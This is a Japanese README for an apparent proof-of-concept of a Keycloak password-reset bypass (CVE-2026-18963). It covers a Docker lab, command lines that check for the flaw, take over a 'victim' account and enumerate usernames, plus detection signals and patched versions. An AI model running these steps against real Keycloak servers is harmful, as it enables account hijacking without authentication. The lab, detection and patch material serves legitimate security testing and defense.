
このリポジトリはcve-2026-18963のPoCです。法的な製品(ラボ、ローカルなど)でのみ使用してください。
Keycloak reset-credentials バイパス → 認証なしアカウント乗っ取り CVSS 9.1 | 影響を受けるバージョン: Keycloak 26.0.0 – 26.7.1
このラボは
snizi/cve-2026-18963-exploitの元のREADMEから再構成されています。
CVE-2026-18963/
├── cve_2026_18963_poc.py <- PoCスクリプト (Python 3.9+、標準ライブラリのみ)
├── README.md
├── docker-compose.yml <- ラボ環境
└── realm-poc.json <- Keycloakレルム設定 (自動インポート)
docker compose up -d
または、レルムのインポートなしでKeycloakを直接実行する:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
Keycloakの起動が完了するまで約30〜60秒待ちます。
| サービス | URL | バージョン | ステータス |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | 脆弱 ⚠️ |
| Mailpit | http://localhost:8025 | latest | メールをキャプチャ |
admin / adminvictim / OriginalPassw0rd!poc | クライアント: poc-apppoc レルムまたは victim ユーザーが存在しない場合は、手動でインポートする:
レルムの管理 → レルムの作成 → realm-poc.json をアップロード。python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
kc-vulnでの期待される結果:
[!] 脆弱 — メールゲート実行が提供されました
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
副作用: リセットメールが被害者に送信され (http://localhost:8025 で確認可能)、
emailVerifiedがtrueに設定されます。
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
その後、http://localhost:8080/realms/poc/account で victim / PoCPassw0rd!1 を使用してログインし、確認します。
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
レルムは初回起動時のみインポートされるため、最も簡単なリセット方法は環境を最初から再作成することです:
docker compose down -v && docker compose up -d
または、管理コンソール (http://localhost:8080/admin) でパスワードを手動でリセットします: ユーザー → victim → 認証情報 → パスワードのリセット → OriginalPassw0rd!。
docker compose down -v
| シグナル | 正当な操作 | エクスプロイト |
|---|---|---|
GET /login-actions/action-token?... | ✅ はい | ❌ いいえ |
POST .../reset-credentials ボディに tryAnotherWay=yes | ❌ いいえ | ✅ はい |
同じ code_id で SEND_RESET_PASSWORD → UPDATE_PASSWORD が2秒未満 | まれ | ✅ 常に |
VERIFY_EMAIL イベントなしで emailVerified が true に切り替わる | ❌ | ✅ 常に |
Mailpit (http://localhost:8025) ではパスワードリセットメールが被害者のメールボックスに届きますが、エクスプロイトが成功した場合、メール内のリンクはクリックされません。
| リリースライン | 影響を受けるバージョン | 修正 |
|---|---|---|
| ≤ 17 (WildFly) | いいえ | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | なし (26.7.2 に移行する必要あり) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (ベンダーバックポート) |
| 26.5 | 26.5.0 – 26.5.7 | なし |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (ベンダーバックポート) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
26.0より前のバージョンは影響を受けません: スティッキーな
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYEDノートと、リセットフローにおける「別の方法を試す」 セレクター画面は26.0.0で導入されました。古いビルドには 単に脆弱なコードパスが存在しないだけです — これはパッチが適用されているのと同じではありません。